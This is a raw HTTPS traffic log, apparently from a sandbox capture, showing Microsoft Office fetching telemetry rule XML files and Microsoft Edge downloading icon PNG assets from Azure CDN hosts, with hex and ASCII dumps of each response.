2024-11-26 00:41:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:43 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:44 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004143Z-174f7845968swgbqhC1EWRmnb40000000ut0000000006eta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:44 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:44 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:44 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004144Z-174f7845968frfdmhC1EWRxxbw0000000ung0000000066zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:44 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:44 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:44 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004144Z-174f7845968zgtf6hC1EWRqd8s0000000mng000000006dvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:44 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:44 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:44 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:44 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004144Z-174f78459684bddphC1EWRbht40000000ugg000000002qbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:44 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49882	13.107.246.40	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:46 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 4aa832c4-001e-0023-6091-3f07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004146Z-174f7845968g6hv8hC1EWR1v2n00000002q00000000049vb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:46 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49884	13.107.246.40	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:46 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b45380e2-b01e-0013-6191-3f5de6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004146Z-174f7845968n2hr8hC1EWR9cag0000000ue0000000000yf3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:46 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49885	13.107.246.40	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:46 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ab62deda-d01e-0047-3391-3fb76c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004146Z-174f7845968jrjrxhC1EWRmmrs0000000uvg000000005n54 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:46 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49886	13.107.246.40	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:46 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 6af15945-e01e-004f-6591-3fac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004146Z-174f78459685726chC1EWRsnbg0000000up0000000006942 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:46 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49887	13.107.246.40	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:46 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 204c33f4-801e-0054-0391-3f828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004146Z-174f78459684bddphC1EWRbht40000000ufg000000005qum Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:46 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49883	13.107.246.40	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:46 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: dea37d40-a01e-002e-5891-3fe8c0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004146Z-174f7845968px8v7hC1EWR08ng0000000uz0000000006gnq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:46 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
